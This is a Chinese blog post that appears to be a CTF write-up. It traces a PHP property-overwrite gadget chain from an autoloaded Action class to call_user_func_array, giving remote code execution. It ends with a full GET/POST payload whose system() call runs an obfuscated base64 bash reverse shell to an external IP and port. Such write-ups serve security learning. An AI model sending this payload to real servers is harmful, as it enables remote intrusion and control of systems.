持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第20天,点击查看活动详情
前置知识
先看下spl_autoload_register函数用法
1.php
<?php
highlight_file(__FILE__);
spl_autoload_register(function($class){
require($class.".php");
});
$action = $_GET['action'];
class Action{
public function __construct($action){
$object=new $action();
$object->A();
}
}
new Action($action);
?>
Test.php
<?php
class Test{
function A() {
echo 'Hi,Sentiment!';
}
}
?>
其实就相当于一个文件包含的作用,当实例化对象时,会将我们实例化的内容传入class,所以就包含了我们实例化的文件,当最后一行实例化Action时,会调用`__construct()`,该方法中会实例化action,如果我们传参action的值为Test,那么在$object=new Test()后,就相当于包含了Test.php,从而也就可以调用test类中的A方法了
若去掉spl_autoload_register函数则会报错Class 'Test' not found
流程
<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}
new Action($action,$properties);
?>
给出了源码,__construct()中会进行变量覆盖,并执行run()方法,而有run方法的只有listview.php
public function run()
{
echo "<".$this->tagName.">\n";
$this->renderContent();
echo "<".$this->tagName.">\n";
}
run()中会调用renderContent()
public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}
之后又会将$this->template作为参数调用renderSection()方法,最后会调用$this->$method();,所以需要构造一下$method
protected function renderSection($matches)
{
$method='render'.$matches[1];
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}
最后命令执行的部分其实是Base.php#evaluateExpression()的call_user_func_array(),所以要看一下哪里调用了该方法,最后再来确定$method具体构造什么
public function evaluateExpression($_expression_,$_data_=array())
{
if(is_string($_expression_))
{
extract($_data_);
return eval('return '.$_expression_.';');
}
else
{
$_data_[]=$this;
return call_user_func_array($_expression_, $_data_);
}
}
在TestView.php中发现renderTableRow()调用了它
public function renderTableRow($row)
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}
if($this->rowCssClassExpression!==null)
{
$data=$this->dataProvider->data[$row];
$class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
}
elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
$class=$this->rowCssClass[$row%$n];
if(!empty($class))
{
if(isset($htmlOptions['class']))
$htmlOptions['class'].=' '.$class;
else
$htmlOptions['class']=$class;
}
}
再找谁调用了renderTableRow(),在本类中的renderTableBody()
public function renderTableBody()
{
$data=$this->data;
$n=count($data);
echo "<tbody>\n";
if($n>0)
{
for($row=0;$row<$n;++$row)
$this->renderTableRow($row);
}
再找哪里调用renderTableBody(),发现没有调用的地方所以最后的$method就要构造$method=renderTableBody了
整体流程
ListView#run()->renderContent()->renderSection()->
TestView#renderTableBody()->renderTableRow()->
Base#evaluateExpression()->call_user_func_array()
分析
下面就是细节部分了,这里想通过call_user_func_array()进行反弹shell
所以要控制$_expression_的值是反弹shell命令,而$_expression_是调用evaluateExpression()方法时的第一个参数
return call_user_func_array($_expression_, $_data_);
所以就要看调用evaluateExpression()时,传进来了什么值
$data=$this->dataProvider->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
可以看到是TestView.php中的rowHtmlOptionsExpression属性,而这个属性是没有任何赋值的地方的,这时就想到了最开始的源码覆盖部分
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
若$action=TestView,$properties=$properties[rowHtmlOptionsExpression]=shell命令,那么在进行变量覆盖时,就相当于是
TestView->rowHtmlOptionsExpression=shell命令,通过这种方式就可以控制我们该属性的值,而第二个参数data随便构造个就行
GET:
?action=TestView
POST:
properties[rowHtmlOptionsExpression]=system("bash%20-c%20%27%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27");&properties[data]=Sentiment
这里用的是Dest0g3的EzSerial题中的反弹shell命令,由于有加号就进行了个url编码
之后就是这部分了
public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}
protected function renderSection($matches)
{
$method='render'.$matches[1];
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}
调用renderSection时,会将$this->template的值作为参数,所以就需要控制template=TableBody,这样就能调用到renderTableBody()了(虽然$action传参的是TestView,但TestView类继承于本类ListView,所以同样可以变量覆盖)
properties[template]={TableBody}
结合起来后
GET
?action=TestView
POST
properties[rowHtmlOptionsExpression]=system("bash%20-c%20%27%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27");&properties[template]={TableBody}&properties[data]=Sentiment
成功执行